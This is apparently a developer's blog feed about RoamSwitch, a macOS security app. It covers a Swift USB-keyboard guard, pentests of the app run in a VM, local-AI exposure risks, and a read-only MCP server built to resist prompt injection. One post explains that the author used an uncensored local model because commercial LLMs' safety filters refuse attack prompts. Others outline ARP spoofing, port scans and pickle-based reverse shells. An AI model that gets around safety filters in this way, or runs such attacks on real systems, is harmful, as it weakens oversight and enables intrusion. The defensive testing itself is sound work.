A system-wide CGEventTap sitting at the very head of the HID event queue begins returning nil for all keyDown, keyUp, and modifier events.
The 1,000 WPM script screams into the void. Not a single character reaches Spotlight or Terminal.
An interactive modal pops up on screen: "New keyboard detected. Did you plug this in?"

The Swift Implementation: Why User Space Wins Over DriverKit

The purist approach to USB security is writing a DriverKit System Extension (com.apple.developer.driverkit.transport.usb). But for an indie macOS utility, DriverKit introduces massive practical friction:

Apple-Gated Entitlements: USB transport drivers require special developer entitlements that require manual application and lengthy approval cycles from Apple.
Install Friction: System Extensions demand administrator prompts, navigating System Settings security panes, and often requiring system reboots.
Crash Blast Radius: A bug in a low-level driver can panic the entire system.

Instead, we can achieve identical protection entirely in user space by pairing two native macOS subsystems: IOHIDManager (for hardware topology monitoring) and CGEventTap (for low-latency keystroke filtering using standard Accessibility permissions). It requires zero reboots, zero custom kernel drivers, and zero special Apple entitlement requests.

1. Detecting Physical Insertion with `IOHIDManager`

We register an IOHIDManager on the main runloop configured to match generic desktop keyboard devices:

import IOKit
import IOKit.hid

private func startHIDMonitoring() {
    let manager = IOHIDManagerCreate(kCFAllocatorDefault, IOOptionBits(kIOHIDOptionsTypeNone))
    self.hidManager = manager

    let matchingDict: [String: Any] = [
        kIOHIDDeviceUsagePageKey: kHIDPage_GenericDesktop,
        kIOHIDDeviceUsageKey: kHIDUsage_GD_Keyboard
    ]
    IOHIDManagerSetDeviceMatching(manager, matchingDict as CFDictionary)

    let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())

    IOHIDManagerRegisterDeviceMatchingCallback(manager, { (context, result, sender, device) in
        guard let context = context else { return }
        let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(context).takeUnretainedValue()
        Task { @MainActor in
            guardInstance.handleDeviceConnected(device: device)
        }
    }, context)

    IOHIDManagerScheduleWithRunLoop(manager, CFRunLoopGetMain(), CFRunLoopMode.defaultMode.rawValue)
    IOHIDManagerOpen(manager, IOOptionBits(kIOHIDOptionsTypeNone))
}

When a device connects, we extract its Vendor ID, Product ID, Serial Number, and Transport. If it's not in our allowlist, we flip the killswitch immediately:

private func handleDeviceConnected(device: IOHIDDevice) {
    let name = (IOHIDDeviceGetProperty(device, kIOHIDProductKey as CFString) as? String) ?? "Unknown Keyboard"
    let vendorId = IOHIDDeviceGetProperty(device, kIOHIDVendorIDKey as CFString) as? Int
    let productId = IOHIDDeviceGetProperty(device, kIOHIDProductIDKey as CFString) as? Int
    let serial = IOHIDDeviceGetProperty(device, kIOHIDSerialNumberKey as CFString) as? String
    let transport = (IOHIDDeviceGetProperty(device, kIOHIDTransportKey as CFString) as? String) ?? ""

    // Never block the built-in Mac keyboard!
    if isInternalKeyboard(name: name, vendorId: vendorId, transport: transport) {
        return
    }

    let identifier = makeDeviceIdentifier(vendorId: vendorId, productId: productId, serialNumber: serial, name: name)

    if !allowedKeyboards.contains(where: { $0.deviceIdentifier == identifier }) {
        isBlockingActive = true
        showApprovalModal(for: identifier, name: name)
    }
}

2. Dropping Raw Keystrokes via `CGEventTap`

To discard key events before any application sees them, we create a CGEventTap placed at .headInsertEventTap.

When isBlockingActive is true, returning nil from the tap callback completely swallows the event:

import CoreGraphics

private func startEventTap() {
    let mask = (1 << CGEventType.keyDown.rawValue) |
               (1 << CGEventType.keyUp.rawValue) |
               (1 << CGEventType.flagsChanged.rawValue)

    let context = UnsafeMutableRawPointer(Unmanaged.passUnretained(self).toOpaque())

    guard let tap = CGEvent.tapCreate(
        tap: .cghidEventTap,
        place: .headInsertEventTap,
        options: .defaultTap,
        eventsOfInterest: CGEventMask(mask),
        callback: { (proxy, type, event, refcon) -> Unmanaged<CGEvent>? in
            guard let refcon = refcon else { return Unmanaged.passRetained(event) }
            let guardInstance = Unmanaged<USBKeyboardGuard>.fromOpaque(refcon).takeUnretainedValue()

            // If an unapproved keyboard is pending, drop every key event instantly
            if guardInstance.isBlockingActive {
                return nil
            }
            return Unmanaged.passRetained(event)
        },
        userInfo: context
    ) else {
        return
    }

    self.eventTap = tap
    let source = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0)
    CFRunLoopAddSource(CFRunLoopGetMain(), source, CFRunLoopMode.commonModes)
    CGEvent.tapEnable(tap: tap, enable: true)
}

The Terrifying Gotcha: Don't Lock Out the Built-in Keyboard

When you write code that drops all keystrokes globally on macOS, testing it gives you a minor adrenaline rush. If your internal keyboard detection fails, your Mac stops accepting all key input, and you can't even type your sudo password to kill the process.

MacBook internal keyboards don't show up as generic external USB devices. We reliably whitelist them by checking for internal transport protocols and Apple vendor IDs:

private func isInternalKeyboard(name: String, vendorId: Int?, transport: String) -> Bool {
    let lowerName = name.lowercased()

    // Internal naming identifiers
    if lowerName.contains("apple internal") || lowerName.contains("magic keyboard") || lowerName.contains("internal keyboard") {
        return true
    }

    // Internal Mac keyboards typically communicate over SPI or FIFO
    if transport.lowercased() == "spi" || transport.lowercased() == "fifo" {
        return true
    }

    // Apple Vendor ID (0x05ac) internal assemblies
    if vendorId == 0x05ac && (lowerName.contains("top case") || lowerName.contains("keyboard")) {
        return true
    }

    return false
}

By guaranteeing that internal SPI/FIFO keyboards are permanently whitelisted on boot, the user can always interact with the approval modal and their Mac, while the external rogue device stays trapped in the quarantine box.

What About Flash Drives?

Keystroke injection is only half of the physical port problem. The other half is someone plugging in an unauthorized USB flash drive to copy files or drop binaries while you're grabbing coffee.

In RoamSwitch, we paired this with a volume guard that listens to NSWorkspace mount notifications. Any external mass-storage drive that isn't on the trusted UUID whitelist is instantly unmounted and ejected before macOS finishes indexing it.

The Physical Blind Spot

We spend enormous engineering effort hardening network boundaries—configuring packet filter firewalls, locking down open ports, and rotating credentials.

Yet across all operating systems, the USB port remains a direct, unauthenticated pipeline straight into the user session.

Treating newly attached physical HID devices as untrusted by default isn't paranoia—it's just applying the same zero-trust philosophy we use on the network to the hardware ports sitting on the side of our laptops.

How I Used an Uncensored Local LLM for Adversarial QA on My macOS App

Tetsuharu Fujiki — Sun, 30 Aug 2026 20:08:03 +0000

When you build a security app as a solo developer, the hardest engineering problem isn't writing the defense code — it's QA and resilience testing.

Security software operates under a bizarre constraint: nothing happening is the normal state. The software only does its job when something hostile or anomalous occurs.

The trouble is, when you write your own test scripts, you subconsciously test what you expect. You launch a test server, watch the port get blocked, nod, and mark it green. But real attackers and weird production environments don't follow the developer's script. They poke at edge cases, state machine bugs, and race conditions between subsystems.

To break my own bias, I set up a local uncensored model (qwen3.8-27b-uncensored) running locally on my Mac via OpenCode as a dedicated Adversarial QA Tester, pointed it at a disposable macOS VM (Tart), and told it to find holes in my app, RoamSwitch.

Here is what that stress test surfaced, the edge cases it broke, and how I fixed them.

1. Why an uncensored local LLM for QA?

If you ask a commercial cloud LLM to write live packet-injection scripts or craft ransomware-like file tampering patterns, safety filters will reject the prompt.

In defensive QA, though, you need real hostile traffic and weird filesystem operations to verify fail-closed behavior.

Running an uncensored model locally on my Mac meant I could run unrestricted automated stress tests: continuous Scapy ARP injection, deceptive dotfile placement, and multi-port backdoor attempts directly against the target VM.

graph LR
    subgraph Host["Host Mac (Adversarial QA Runner)"]
        LLM["Local LLM (Qwen 27B uncensored)<br/>via OpenCode"]
        Payloads["Dynamic Stress Test Suite<br/>(Scapy / ARP / EICAR / kqueue)"]
        LLM --> Payloads
    end

    subgraph VM["Target macOS VM (Tart)"]
        RS["RoamSwitch (Defense Engine)"]
        Engine["・pf packet filtering<br/>・PortAnomalyGuard<br/>・ClamAV real-time quarantine<br/>・RansomwareCanaryGuard"]
        RS --- Engine
    end

    Payloads -->|"1. ARP Reply flooding (MitM)"| VM
    Payloads -->|"2. 0.0.0.0 Backdoor listeners"| VM
    Payloads -->|"3. Quarantine evasion payloads"| VM
    Payloads -->|"4. Canary decoy tampering"| VM

2. Three subtle edge cases the QA suite caught (v1.5.5)

Here are three real architectural edge cases that standard happy-path unit tests missed.

1. Flagging a binary on one port implicitly trusted it on all other ports

RoamSwitch has a feature called PortAnomalyGuard that catches processes binding to 0.0.0.0 and immediately blocks inbound traffic via macOS's packet filter (pf).

The test launched an HTTP server on port 8765 with Homebrew Python (python3 -m http.server 8765 --bind 0.0.0.0).
RoamSwitch flagged port 8765 and injected a pf drop rule.
In follow-up testing, the runner launched a second listener on port 9877 using the same Python binary.

The result: The second listener on port 9877 was NOT blocked.

The Root Cause: To prevent duplicate alert spam, PortAnomalyGuard.evaluate() automatically added flagged binaries to KnownExecutablesV2 by binary name alone ("Python"). The second listener on port 9877 saw "Python" already in the known set and skipped inspection entirely.
The Fix (v1.6.2): Generic script interpreters (Python, Node.js, Ruby, Netcat, Bash) are now strictly scoped to executablePath:port (e.g., /opt/homebrew/bin/python3:8765). Flagging port 8765 gives zero trust to port 9877. A startup migration purges legacy port-less records.

2. Duplicate filenames broke ClamAV quarantine and left malware alive

RoamSwitch watches Downloads, Desktop, and Documents with FSEvents and scans new files with ClamAV, moving threats to ~/Library/Application Support/RoamSwitch/Quarantine.

The test dropped 4 tricky variations of the EICAR test string:

Hidden dotfiles (.hidden_eicar.txt)
Incomplete download extensions (malware.tmp)
Terminal copies lacking com.apple.quarantine attributes (copied_eicar.txt)
Standard downloads (normal_eicar.txt)

All 4 were caught and isolated. But then the test ran a collision test: dropping the exact same malware filenames a second time.

Because files with those exact names already existed in Quarantine, ClamAV's --move failed with an error. The new malware was left completely ALIVE in the user's Downloads folder. Quarantined files were also left at normal 0644 permissions.

The Fix (v1.6.0–v1.6.3):
1. If an identically named file already exists in Quarantine, RoamSwitch catches the collision and moves it under a timestamped unique name (malware_1725068200.tmp).
2. Upon isolation, it immediately applies chmod 000 (posixPermissions: 0o000), physically stripping read and execute permissions.

3. Missing canaries were prematurely regenerated on app restart

RoamSwitch places decoy canary files in target directories and monitors them with kqueue (DispatchSource). Any unauthorized tampering or renaming triggers an immediate Air-Gap containment (block drop all) and terminates suspicious processes.

Renaming a canary to /tmp/stolen_canary.xlsx triggered Air-Gap in milliseconds.

However, the post-test QA review caught a lifecycle issue:

"When the app restarts, setupCanaryBait() sees the decoy is missing and automatically creates a new one. If an attacker modified a canary and forced an app relaunch, the altered file would become the new baseline hash."

The Fix (v1.6.4):
1. All expected canary SHA-256 hashes are persisted to disk (UserDefaults).
2. Routine app launches no longer recreate missing files; they preserve the violation against the recorded baseline.
3. Self-healing regeneration from clean embedded templates only runs when the user explicitly clicks "Release Emergency Containment" in the UI.

3. Verified QA Results (v1.6.4)

After applying these fixes in v1.6.0 through v1.6.4, I re-ran the full test suite across all 7 defense domains:

#	Defense Domain	Stress Scenario	v1.5.5 (Initial)	v1.6.4 (Final)	Verdict
T1	ARP Spoofing Auto-Containment	Injected rogue gateway ARP replies via Scapy	✅ Air-Gap triggered	✅ Air-Gap triggered	PASS
T2	Unknown Port Auto-Isolation	Multi-port backdoor listeners on 0.0.0.0	❌ Secondary port bypassed	✅ `path:port` strictly isolated	FIXED
T3	ClamAV Download Quarantine	4 placement vectors + collision re-tests	⚠️ Move failed on collision (ALIVE)	✅ Unique rename & `chmod 000`	FIXED
T4	Ransomware Canary Bait	Decoy tampering & baseline reset tests	⚠️ Premature file recreation	✅ Air-Gap & Baseline persisted	FIXED
T5	Helper XPC Boundary	Unsigned binary connecting to Mach service	✅ Rejected by Team ID check	✅ Strict check maintained	PASS
T6	DNS Threat Protection Guard	Untrusted network DNS hijacking	✅ Quad9 Secure DNS enforced	✅ Secure DNS maintained	PASS
T7	Air-Gap State Hygiene	Post-release timestamp file inspection	⚠️ Timestamp file lingered	✅ Clean unlink on release	FIXED

A full TCP SYN port scan (nmap -Pn -sS) across all 65,535 ports confirmed complete stealth isolation (filtered (no-response)).

4. Takeaways for solo QA

Using an uncensored local model for adversarial testing gave me a practical way to run enterprise-grade stress tests on my own:

Breaks Developer Bias: The model doesn't care about your code structure; it tests the awkward seam between features.
Fast and Private: Running locally on a Mac against a local VM meant I could run aggressive tests without cloud rate limits or safety filter blocks.
Resilience over Green Builds: Real software quality isn't about passing the tests you wrote for yourself — it's about holding up when something hostile tries to break your assumptions.

The full reproduction procedures, scripts, and verified audit reports are open source:

Penetration Test Report (GitHub): https://github.com/lafine1211/roamswitch-support/blob/main/audit/RESULTS-PENTEST-2026-08-31.md
Security Whitepaper: https://lafine.net/security.en.html
RoamSwitch Homepage: https://lafine.net/

Hacking My Own Mac App: Penetration Testing macOS Defense Boundaries in a VM

Tetsuharu Fujiki — Sun, 30 Aug 2026 15:19:49 +0000

A Japanese version of this is on Zenn.

I build and sell a macOS network-security menu bar app called RoamSwitch.

In a previous post, I wrote about attacking my own Mac from an Arch Linux box on the same LAN to see how it handled basic reconnaissance and rogue device probes.

Since then, as I kept adding features and refactoring, a nagging question kept resurfacing: Are we introducing regressions? Is our privileged helper still watertight? Did a recent update accidentally punch a hole in our packet filter rules?

Manually poking at firewalls on every release is tedious and risky—messing with Packet Filter (pf) and root LaunchDaemons on your primary dev machine is a great way to accidentally drop your own network connection.

So, to be absolutely thorough, I set up a repeatable, automated pentest suite inside a disposable macOS virtual machine on a Mac (using Tart) to rigorously probe all 5 defense boundaries from the outside.

Here is how the test harness works and what the logs showed when I attacked it.

Test Architecture: Host Mac ⇄ Target Guest VM

Running destructive firewall tests or killing root helpers on your daily driver is stressful.

Instead, I used Tart, a lightweight macOS virtualization tool, to spin up a clean macOS Sonoma guest VM as the Target, with the Host machine acting as the Attacker.

+------------------------------------+          +-----------------------------------------+
|          Host Mac (Attacker)       |          |         macOS VM (Target Guest)         |
|  - Inbound Port Probing (nc/nmap)  |  ----->  |  - RoamSwitch 1.4.8 (Defense Engine)    |
|  - Unauthorized HTTP Probing (curl)| Virtual  |  - Root Privileged Helper               |
|  - Rogue ARP Spoofing (scapy)      | Bridge   |  - Packet Filter (pf) Ruleset Anchor    |
+------------------------------------+          +-----------------------------------------+

The 5 Defense Boundaries Tested

graph TD
    A[Automated Defense Suite] --> B[1. XPC Authorization Boundary (§3)]
    A --> C[2. pf Ruleset & Air-Gap Precedence (§4, §5)]
    A --> D[3. Port Anomaly & Global Exposure (§6)]
    A --> E[4. MCP Read-Only Invariant & Fuzzing (§8)]
    A --> F[5. ARP Gateway Consistency (§11)]

1. Privileged Helper XPC Boundary (§3)

The privileged helper (com.tetsuharu.RoamSwitch.Helper) runs as root. If an unapproved local process can send Mach messages to it, that's an instant root privilege escalation.

Test: Dynamically compiled an unsigned (ad-hoc) Swift probe binary lacking my Apple Developer Team ID and attempted calling enableAirGap.

Result:

Attempting XPC connection from unauthorized client to /Library/PrivilegedHelperTools/...
REJECTED: Helper rejected unauthorized client as expected.
[PASS] Privileged helper correctly rejected unauthorized XPC caller

The helper's ClientValidator inspected NSXPCConnection.audit_token and immediately severed the connection.

2. Packet Filter (pf) Ruleset Priority & Air-Gap Containment (§4, §5)

Verifies that when emergency Air-Gap containment is engaged, block drop all strictly takes precedence over any open user port rules (Fail-Closed).

Test: Dumped active pfctl anchor hierarchies and verified loopback (127.0.0.1) policy responsiveness while external egress was 100% dropped.
Result: [PASS] pf ruleset anchor structure verified

3. Port Anomaly Guard & Exposure Detection (§6)

When a developer accidentally starts a local server bound to 0.0.0.0 (all interfaces), RoamSwitch should detect it and shield external access without breaking localhost (127.0.0.1).

Test: Spawned 0.0.0.0:18888 and 127.0.0.1:18889 simultaneously, querying the diagnostic engine.

Result (MCP Diagnostics Output):

{
  "port": 18888,
  "processName": "Python",
  "isGloballyExposed": true,
  "isFirewallShielded": true,
  "overallRisk": "warning",
  "findings": [
    {
      "title": "0.0.0.0 Binding (All LAN Exposure)",
      "description": "Process is listening on 0.0.0.0 (all interfaces). While shielded by RoamSwitch firewall, consider binding to localhost."
    }
  ]
}

4. MCP Server Read-Only Invariant & Parser Fuzzing (§8)

To prevent AI coding assistants (Claude Desktop, Cursor) from being tricked by prompt injection into modifying security settings (Confused Deputy):

Test:
1. Scanned tools/list to enforce that 0 mutating/exec tools exist.
2. Injected a pathological 60-level nested JSON payload to fuzz parser recursion limits.

Result:

[PASS] Read-Only Invariant Confirmed: 0 mutating tools found in MCP catalog
[PASS] Parser Robustness Confirmed: Malformed/pathological JSON safely rejected without crash

5. ARP Gateway Monitor & Integrity (§11)

Validates that the kernel ARP table tracking accurately binds default gateway IP to MAC address.

Result:

? (192.168.64.1) at d2:c0:50:cd:95:64 on en0 ifscope [ethernet]
[PASS] Default gateway (192.168.64.1 -> d2:c0:50:cd:95:64) properly resolved and monitored

The Most Realistic Threat: Compromised Smart Home Devices

With smart plugs, IP cameras, and cheap IoT gadgets littered across modern home networks, rogue devices scanning the local subnet for lateral movement is no longer a theoretical edge case—it's an everyday reality.

Even if you trust your home Wi-Fi, you can't guarantee every random device on that same subnet is clean.

So I tested the most common real-world situation: "A compromised smart device on the home network tries to probe and attack the Mac."

[Host Mac (Rogue IoT Device)]  ────── Lateral Probe ──────>  [Target Mac VM (Home Wi-Fi)]
 (192.168.64.1)                                               RoamSwitch Active (192.168.64.2)

On the Target Mac, I spun up a dev server:

   python3 -m http.server 8080 --bind 0.0.0.0

RoamSwitch fired a notification immediately:

🚨 Unknown Listening Port Automatically Blocked

Detected process "Python" exposing port 8080 to external LAN. Automatically shielded external access.
From the Attacker Node (Host), I tried to hit the server:

   % curl -I --connect-timeout 2 http://192.168.64.2:8080
   curl: (28) Failed to connect to 192.168.64.2 port 8080 after 2006 ms: Timeout was reached

The Efficacy

From the Outside: The pf firewall dynamically injected an inbound drop rule. The attacking IoT device got a dead timeout—it couldn't even tell a web service was running.
For the Developer: The Mac retained full access via http://localhost:8080 (127.0.0.1), allowing normal local development without risk of lateral network intrusion.

Reproduce It Yourself: Open Source Audit Suite

All scripts used in this audit are published under the open-source support repository:

git clone https://github.com/lafine1211/roamswitch-support
cd roamswitch-support/audit
./rs-defense-audit.sh all

Live Audit Results Log: audit/RESULTS-DEFENSE-2026-08-30.md
Step-by-Step Guide: audit/README-SECURITY.md

What it felt like seeing it work

Even though I built the app, there was a genuine rush of satisfaction seeing curl time out cleanly from the outside while localhost kept humming along seamlessly on the inside (along with a sigh of relief that our defense rules didn't regress).

In security software, claiming "it's secure" in marketing copy is cheap. Handing developers a runnable script that lets them attack the app and inspect the raw logs is the only honest way to build real trust.

If you have a Mac and Tart handy, feel free to clone roamswitch-support and try poking holes in rs-defense-audit.sh yourself.

The Hidden Security Blind Spots in Local AI Workflows

Tetsuharu Fujiki — Sun, 30 Aug 2026 06:49:44 +0000

A Japanese version of this is on Note.

An increasing number of engineers and creators are running local LLMs (via Ollama, LM Studio, vLLM) and generating images with Gradio / Stable Diffusion directly on their Macs. With modern Apple Silicon unified memory, 7B and 14B parameter models run blazingly fast on-device. Many choose local AI specifically for privacy, thinking "My data never leaves my machine, so it must be secure."

However, the moment developers want to test inference from their phone or a secondary laptop, they follow common online guides and set OLLAMA_HOST=0.0.0.0 or pass --host 0.0.0.0.

And right there, a critical blind spot opens up:

"Wait... binding to 0.0.0.0 doesn't just expose this to my phone—it allows literally anyone on the same network to query my Mac without any authentication."

As local AI tooling rapidly expands, network exposure, clipboard secrets, and model file formats remain dangerously overlooked. Here is what is actually exposed, and how we can secure our machines.

1. The 0.0.0.0 Trap: Local AI Inference Servers Are Unauthenticated by Default

Whether it's Ollama (11434), LM Studio (1234), Gradio / Stable Diffusion WebUI (7860), or vLLM (8000), developers often configure OLLAMA_HOST=0.0.0.0 or pass --host 0.0.0.0 so they can test inference from a phone or a secondary laptop.

The fundamental issue: almost all of these tools run without authentication by default. (Ollama has no built-in API auth at all and requires an external reverse proxy, while vLLM or Gradio require explicit --api-key or auth= configuration that is rarely set up in casual local dev environments).

[Rogue Device on Shared Wi-Fi] ──── Unauthenticated HTTP Request ────> [Your Mac]
                                                                        Ollama (11434)
                                                                        - Free GPU compute hijacking
                                                                        - Unauthorized model downloads
                                                                        - Model deletion via DELETE API
                                                                        - Private prompt snooping

If you start an inference server on 0.0.0.0 while connected to office Wi-Fi, a shared workspace, or even a home network with compromised IoT devices, anyone on the same subnet can simply send curl requests to:

Hijack your GPU resources: Run heavy batch jobs that drain your battery and turn your MacBook into a space heater.
Download massive models: Trigger multi-gigabyte model pulls that fill up your SSD.
Wipe your local models: Call DELETE /api/delete and delete your weights.
Snoop on sensitive prompts: Inspect prompt history and query private local endpoints.

In RoamSwitch (1.5.1), I added proactive detection for local AI ports. The moment Ollama, LM Studio, Gradio, or vLLM binds to 0.0.0.0, the app fires an alert and lets the packet filter (pf) automatically shield external inbound connections while preserving your own localhost access.

2. Accidental Clipboard Secret Leaks (Cmd+V Muscle Memory)

Another ubiquitous hazard in AI development is API key leakage via the system clipboard.

You copy an OpenAI, Anthropic, HuggingFace, AWS, or GitHub personal access token from a web dashboard to paste into a local .env file. A minute later, you switch to Slack or a public AI chat box, intend to paste a URL, and muscle memory hits Cmd+V.

If that paste goes through to a public channel or web forum, automated scrapers pick it up in seconds, resulting in leaked infrastructure credentials or thousands of dollars in unauthorized API usage.

In version 1.5.2, I built a purely local Clipboard Secret Checker:

Runs regex pattern matching against known API key structures (OpenAI sk-proj-..., Anthropic sk-ant-..., GitHub ghp_..., HuggingFace hf_..., AWS, Gemini, SSH private keys).
Operates with Zero Telemetry (100% on-device, zero outbound network packets).
Warns immediately: 🚨 Secret Detected on Clipboard (OpenAI API Key).

Having a subtle heads-up before pasting has saved me from accidental leaks multiple times.

3. Can Downloading an AI Model Hack Your Mac? The Pickle Trap

When downloading models, checkpoints, or LoRA weights from HuggingFace or Civitai, how often do you look at the file extension?

In AI, model files fall into two very different categories: safe and dangerous.

Why `.pkl` and `.pt` files are hazardous

Normally, an image (.png) or data file (.json) is passive data—opening it doesn't run code on your machine.

However, Python's legacy serialization format Pickle (.pkl, .pickle, .pt) doesn't just store numbers; it packages executable Python bytecode.

When Python or PyTorch unpickles the file (e.g., via torch.load()), it automatically executes that embedded code without asking for permission.

If an attacker uploads a backdoored .pt checkpoint to a model hub, simply loading the weights can instantly:

Spawn a hidden reverse shell in the background
Steal your SSH keys, AWS credentials, and browser cookies
Plant persistent malware on your Mac

The Solution: SafeTensors and GGUF

To solve this fatal flaw, HuggingFace and the open-source community created SafeTensors (.safetensors) and GGUF (.gguf).

As the name implies (Safe Tensors), these formats are engineered to store pure tensor numbers and metadata only. Because they contain zero executable code structures, it is mathematically impossible for a .safetensors file to run malware when opened.

While modern models predominantly use SafeTensors, legacy checkpoints and community uploads still often use Pickle.

In version 1.5.2, RoamSwitch watches the Downloads folder. The moment a .pkl or .pt AI model is downloaded, it gives you a friendly nudge: "This file is in Pickle format and capable of executing arbitrary code. Prefer SafeTensors or GGUF whenever possible."

4. Letting AI Audit Its Own Environment via MCP

In version 1.5.3, I expanded the bundled Model Context Protocol (MCP) server.

Now, when using Claude Desktop, Cursor, or an autonomous AI agent, you can ask in plain English:

User: "Is my local Ollama or dev environment exposed to the Wi-Fi right now?"

Claude (via MCP get_exposed_ports):
"I inspected your listening ports. Port 11434 (Ollama) is currently bound to 0.0.0.0, but is shielded by RoamSwitch's firewall. To adhere to best practices, I recommend launching Ollama with OLLAMA_HOST=127.0.0.1."

Because the MCP server is strictly Read-Only (zero mutating tools), the AI acts as a trusted sensory organ for your Mac without risk of Confused Deputy attacks.

Conclusion

Running AI locally is liberating, but our development setups shouldn't leave the front door wide open.

Checking your listeners with sudo lsof -i -P | grep LISTEN takes five seconds, and keeping local inference bound to 127.0.0.1 should be the default for all of us.

If you want an automated safety net that watches over your local AI ports, clipboard secrets, and network boundaries without phoning home, RoamSwitch is built exactly for that.

Nobody searches for security apps. So I made mine a tool for AI agents instead.

Tetsuharu Fujiki — Sat, 29 Aug 2026 15:08:29 +0000

A Japanese version of this is on Note.

(This is Part 2 of the solo-security-dev series. Part 1 on the trust barrier is here.)

In my previous post, I wrote about the trust problem: how an unknown solo dev gets anyone to install a root-privileged Mac security app when they have no brand to hide behind.

I published the security whitepaper, open-sourced the detection logic, built a verify script, and made license activation fully offline using Ed25519 signatures.

At the very end of that article, under "What I still haven't solved," I left this note:

Just being found at all. Unknown, near-zero ad budget. You can build something good and still not get discovered. Separate post.

This is that post. How does an indie developer get a Mac security tool discovered when you can't be on the App Store, you have zero ad budget, and nobody is actively looking for what you built?

The structural curse of security software

With most indie apps — say, a Pomodoro timer or a Markdown notes app — there is a clear discovery path. People search "best Mac timer," or you get featured on the App Store, or you tweet a nice UI screenshot and pick up organic interest.

For a network security app like RoamSwitch, none of those work:

You can't get on the Mac App Store. The app dynamically reconfigures the packet filter (pf) and kills sharing daemons when you join an untrusted coffee-shop Wi-Fi. That requires a privileged helper (SMAppService.daemon), which Apple's sandbox rejects.
Zero ad budget. Burning thousands of dollars a month on Google Ads or sponsored tweets is out of the question for a project born out of personal curiosity and research.
Nobody wakes up and searches for security tools. People don't look for security software proactively. They either install something after getting burned, or their employer forces an MDM profile onto their machine.

Tweeting "Hey, I built an app that automatically tightens your Mac firewall!" produced the expected result: absolute silence.

Trying to reach individual human users through conventional front-door marketing was structurally broken.

Flipping the script: from "sell to humans" to "feed AI agents"

I stopped and looked at what the app actually does.

It sits in the menu bar and continuously evaluates questions like:

Is the current Wi-Fi network trusted or hostile?
Did a local dev server accidentally bind to 0.0.0.0, exposing internal ports to the whole coffee shop?
Is this incoming URL doing suspicious multi-hop redirects or pointing to a known malicious domain?

Then it hit me: The human at the keyboard doesn't want to babysit these questions. But the AI agent sitting next to them in Cursor or Claude Code desperately needs to know.

When an AI coding agent runs in your terminal, it spins up servers, hits local ports, and fetches external URLs autonomously. But the AI has zero sensory awareness of the physical environment. It doesn't know you just hopped onto an insecure airport network, or that vite dev just bound to all interfaces on a public LAN.

What if, instead of asking humans to look at my menu bar UI, I turned the app into the sensory organ for AI agents?

Step 1: Embedding an MCP (Model Context Protocol) Server

I bundled an open-standard MCP server directly inside the app binary.

With a single line in Claude Desktop or Cursor's config, the AI model gains direct access to local security tools:

get_security_report: Overall posture score and passing/failing audit items.
get_exposed_ports: List of listening ports exposed beyond localhost, with risk ratings.
get_guard_status: Active security level (open / balanced / lockdown) and active guards.
audit_url_safety: Real-time redirect chain expansion and safety scoring for URLs.

Now, when a developer tells Claude, "Start the dev environment for this project," the AI can call get_exposed_ports under the hood and say:

"I started the development server on port 3000, but RoamSwitch reports it bound to 0.0.0.0 on an untrusted public Wi-Fi network. Would you like me to reconfigure it to bind only to 127.0.0.1?"

The app moved from "an annoying alert in the menu bar" to "invisible local infrastructure for AI workflows."

Step 2: Open-sourcing a read-only Swift SDK (RoamSwitchKit)

Next, I extracted the client layer into a standalone Swift package, RoamSwitchKit, and open-sourced it under MIT.

Any Mac utility, status bar tool, or CLI can query RoamSwitch with a few lines of Swift Concurrency:

import RoamSwitchKit

do {
    let client = try RoamSwitchClient()
    let ports = try await client.exposedPorts()
    if !ports.isFirewallShielded {
        // Handle unshielded network state
    }
} catch RoamSwitchClientError.appNotInstalled {
    // Gracefully degrade if the user doesn't have RoamSwitch
}

The architectural rule here was strict: Zero write APIs.

There is intentionally no method to lower security levels, disable guards, or unblock ports. If the SDK had mutation endpoints, it would become an attack vector for other local processes. By making it 100% read-only diagnostic data, integrating it carries zero liability for third-party developers.

I also added an AGENTS.md file to the repository so AI coding tools don't hallucinate non-existent write methods when generating integration code.

Step 3: Publishing the battle scars instead of marketing fluff

If you can't pay for ads, your only currency is primary source knowledge.

Nobody wants to read "Why our security app is great." But engineers love reading about weird edge cases, packet-level breakdowns, and embarrassing development mistakes:

Packet-capturing coffee-shop Wi-Fi: Breaking down why client isolation fails in practice when attackers use ARP spoofing.
Fuzzing my own MCP server: How open-sourcing the server made me paranoid enough to run a fuzzer, which promptly uncovered a stack overflow crash inside Apple's own JSONSerialization.
Zero Telemetry audit: Wiretapping my own app with Wireshark and tcpdump under full lockdown to prove that zero bytes leave the machine.

When you publish deep-dive technical logs, you aren't "marketing." You're documenting real work. And the developers reading those articles think: “Okay, this person isn't cutting corners. Let me try their tool.”

What I've learned so far

1. Offering "parts" has far less friction than offering a "shield"

Asking someone to trust a solo developer's app as their primary security shield is a huge psychological barrier. But offering an MCP tool for Claude, or an open-source Swift package for diagnostics, turns it into a useful component. Developers are much more willing to test-drive a piece of tooling than an all-or-nothing security suite.

2. The gap between "discovered" and "purchased" is wide

Turning the app into AI infrastructure solved the discovery problem. People find the repo, try the MCP server, and read the articles.

However, bridging the gap between "I use the free MCP integration during dev" and "I will pay $19.99 for the standalone Pro automation features" is still a significant hurdle. When you give away the diagnostic tools for free, some users will naturally stop there — and that's the tradeoff of building on open standards.

What is still unresolved

Reaching non-technical users: The MCP and SDK route works exceptionally well for developers. Reaching designers, freelance writers, or remote workers who work in cafes remains completely unsolved without traditional marketing.
Global reach: Translating technical articles and reaching Mac communities across Product Hunt, Hacker News, and Indie Hackers is an ongoing effort.
Optimizing conversion without adding nagware: I refuse to add popups or dark patterns to the free version. Keeping the free tier clean while communicating the value of the paid automation layer is a delicate balance.

Summary

When you can't rely on the App Store and have no money for ads, trying to push a standalone security product is an uphill battle.

The alternative is to open up the interfaces, embed yourself into the tools developers already use every day (like AI agents), and let your engineering transparency do the talking.

It's not an overnight viral hack. But for an indie hacker in the security space, building genuine infrastructure and proving your work is the only sustainable way forward.

The app is RoamSwitch. The Swift SDK is on GitHub (RoamSwitchKit), and the security whitepaper is here.

DEV Community: Tetsuharu Fujiki

Building a hardened personal Linux OS with only proven tools, and why I ultimately abandoned cryptographic rootfs protection

Why build an OS instead of just an app

What's already built

What ransomware is actually doing

Two candidates for cryptographic verification

Why dm-verity was out

Why IMA appraisal was out too

Cryptographic guarantees, scoped narrowly

What actually stops ransomware

Tools that prevent, and tools that notice and roll back

VAX, TCP/IP, and Thirty Years of the Same Trust Problem

When VAX/VMS and HP-UX Shared the Same Room

